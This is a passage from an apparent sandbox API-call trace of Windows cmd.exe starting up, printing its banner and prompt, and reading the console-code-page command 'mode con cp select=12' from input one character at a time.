"c:\\windows\\system32")) returned 1 [0131.173] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0131.173] GetProcessHeap () returned 0x230000 [0131.173] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ad00 | out: hHeap=0x230000) returned 1 [0131.173] GetEnvironmentStringsW () returned 0x24ad00* [0131.173] GetProcessHeap () returned 0x230000 [0131.173] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xafc) returned 0x248aa0 [0131.173] FreeEnvironmentStringsW (penv=0x24ad00) returned 1 [0131.173] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0131.173] GetProcessHeap () returned 0x230000 [0131.173] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2464d0 | out: hHeap=0x230000) returned 1 [0131.173] GetProcessHeap () returned 0x230000 [0131.173] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4016) returned 0x24ad00 [0131.174] GetProcessHeap () returned 0x230000 [0131.174] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ad00 | out: hHeap=0x230000) returned 1 [0131.174] GetConsoleOutputCP () returned 0x1b5 [0131.388] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0131.388] GetUserDefaultLCID () returned 0x409 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a3c7b50, cchData=8 | out: lpLCData=":") returned 2 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x15f5e0, cchData=128 | out: lpLCData="0") returned 2 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x15f5e0, cchData=128 | out: lpLCData="0") returned 2 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x15f5e0, cchData=128 | out: lpLCData="1") returned 2 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a3da740, cchData=8 | out: lpLCData="/") returned 2 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a3da4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a3da460, cchData=32 | out: lpLCData="Tue") returned 4 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a3da420, cchData=32 | out: lpLCData="Wed") returned 4 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a3da3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a3da3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a3da360, cchData=32 | out: lpLCData="Sat") returned 4 [0131.389] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a3da700, cchData=32 | out: lpLCData="Sun") returned 4 [0131.390] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a3c7b40, cchData=8 | out: lpLCData=".") returned 2 [0131.390] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a3da4e0, cchData=8 | out: lpLCData=",") returned 2 [0131.390] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0131.391] GetProcessHeap () returned 0x230000 [0131.391] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x20c) returned 0x249620 [0131.391] GetConsoleTitleW (in: lpConsoleTitle=0x249620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.392] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.392] GetFileType (hFile=0xf4) returned 0x3 [0131.393] BrandingFormatString () returned 0x249840 [0131.398] GetVersion () returned 0x1db10106 [0131.398] _vsnwprintf (in: _Buffer=0x15f750, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x15f6e8 | out: _Buffer="6.1.7601") returned 8 [0131.398] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.398] GetFileType (hFile=0xf4) returned 0x3 [0131.398] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a3d6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0131.399] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a3d6340, nSize=0x2000, Arguments=0x15f6f0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0131.399] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x15f678, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f678*=0x24, lpOverlapped=0x0) returned 1 [0131.399] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f718 | out: _Buffer="\r\n") returned 2 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] GetFileType (hFile=0xf4) returned 0x3 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.399] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f6e8*=0x2, lpOverlapped=0x0) returned 1 [0131.399] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x15f718 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] GetFileType (hFile=0xf4) returned 0x3 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0131.399] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x15f6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f6e8*=0x3f, lpOverlapped=0x0) returned 1 [0131.399] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f718 | out: _Buffer="\r\n") returned 2 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] GetFileType (hFile=0xf4) returned 0x3 [0131.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.399] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f6e8*=0x2, lpOverlapped=0x0) returned 1 [0131.400] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77420000 [0131.400] GetProcAddress (hModule=0x77420000, lpProcName="CopyFileExW") returned 0x774323d0 [0131.400] GetProcAddress (hModule=0x77420000, lpProcName="IsDebuggerPresent") returned 0x77428290 [0131.400] GetProcAddress (hModule=0x77420000, lpProcName="SetConsoleInputExeNameW") returned 0x774317e0 [0131.400] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.400] GetFileType (hFile=0xe8) returned 0x3 [0131.400] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0131.400] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x15f540 | out: TokenHandle=0x15f540*=0x0) returned 0xc000007c [0131.400] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x15f540 | out: TokenHandle=0x15f540*=0x50) returned 0x0 [0131.400] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x15f550, TokenInformationLength=0x4, ReturnLength=0x15f558 | out: TokenInformation=0x15f550, ReturnLength=0x15f558) returned 0x0 [0131.401] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x15f558, TokenInformationLength=0x4, ReturnLength=0x15f550 | out: TokenInformation=0x15f558, ReturnLength=0x15f550) returned 0x0 [0131.401] NtClose (Handle=0x50) returned 0x0 [0131.401] GetProcessHeap () returned 0x230000 [0131.401] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24aae0 | out: hHeap=0x230000) returned 1 [0131.402] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f258 | out: _Buffer="\r\n") returned 2 [0131.402] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.402] GetFileType (hFile=0xf4) returned 0x3 [0131.402] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.402] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f228, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f228*=0x2, lpOverlapped=0x0) returned 1 [0131.402] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0131.402] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0131.402] _vsnwprintf (in: _Buffer=0x4a3beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x15f268 | out: _Buffer="C:\\Windows\\system32") returned 19 [0131.403] _vsnwprintf (in: _Buffer=0x4a3beb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x15f268 | out: _Buffer=">") returned 1 [0131.403] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.403] GetFileType (hFile=0xf4) returned 0x3 [0131.403] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0131.403] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x15f258, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f258*=0x14, lpOverlapped=0x0) returned 1 [0131.403] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.403] GetFileType (hFile=0xe8) returned 0x3 [0131.403] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.403] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.403] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0131.403] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.403] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.403] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0131.403] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.403] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.403] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.404] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.404] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.404] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0131.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0131.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0131.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0131.405] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.405] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.405] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, 